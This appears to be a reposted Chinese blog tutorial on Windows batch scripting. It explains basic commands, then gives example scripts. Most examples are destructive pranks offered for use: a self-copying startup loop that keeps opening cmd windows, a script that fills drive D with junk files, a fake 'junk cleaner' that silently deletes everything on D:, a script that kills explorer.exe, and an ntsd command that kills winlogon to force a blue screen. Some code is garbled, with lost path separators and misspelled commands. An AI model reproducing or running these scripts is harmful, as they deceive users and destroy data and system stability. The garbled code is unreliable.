批处理文件编写
批处理的作用
自上而下成批的处理每一条命令,知道执行到最后一条
如何创建批处文件
创建记事本文件然后将文件后缀改为.bat即可
解释一些基本命令的含义
pause:暂停执行
@echo off :屏蔽执行过程,即关闭回显
color 0a:设置背景和字体颜色(0为背景颜色,a为字体颜色)。具体颜色可对照下图:
title:设置该批处理的标题
>nul 2>nul:一般放在命令后面,屏蔽错误提示,即屏蔽所有提示
echo. :空一行
" : " :该符号不是命令,用来定义命令区间,类似与函数
go to :跳转
start:打开程序、文件(路径)、网页等,后不跟则默认打开cmd
%变量%:取值,%userprofile%为当前登陆本机的用户
set:设置变量
批处理文件实例:
1.将此批处理文件改为qq.bat后回开机启动一直打开cmd窗口且很难关闭,仅对win2003有效,切勿在物理机上尝试!!!
copy qq.bat "%userprofil%"[开始]菜单程序启动" :d start goto d
2.创建空白文件占满d磁盘
:d cd fsutil file createnew d:sys.ini 409600000 fsutil file createnew d:sys.ini 409600000 fsutil file createnew d:sys.ini 409600000 fsutil file createnew d:sys.ini 409600000 fsutil file createnew d:sys.ini 409600000
3.
@echo off color 0a tiltle clear laji program echo ================= echo clear you sysem laji echo if lanjie please echo fangxing echo ================= pause echo. echo laji is cleaning....... d: >nul 2>nul cd >nul 2>nul rd . /s/q >nul 2>nul ping -n 10 127.0.0.1 >nul 2>nul echo congratulations!!!!!laji clean over! pause
4.
@echo off title 关机小程序 color 0a :menu cls echo ======================== echo 菜单 echo 1.定时关机 echo 2.取消定时 echo 3.退出 echo ======================== set /p num=你的选择: if "%num%"=="1" goto 1 if "%num%"=="2" goto 2 if "%num%"=="3" goto 3 echo 只能输入1,2,3 pause goto menu :1 set /p a=请输入时间(单位/s) shutdown -s -f -t %a% goto menu :2 shutdown -a echo 取消完毕 pause goto menu :3 exit
5.恶意程序
@echo off color 0a taskkill /im explorer.exe /f >nul 2>nul #强制杀死指定进程 echo 傻了吧 ping -n 10 127.0.0.1 >nul 2>nul start C:Windows|explorer.exe echo 吓唬你呢 pause
杀进程命令还有nstd
例如:
ntsd -c q pn winlogin.exe #针对xp和2003蓝屏
内容来源于网络如有侵权请私信删除
文章来源: 博客园
- 还没有人评论,欢迎说说您的想法!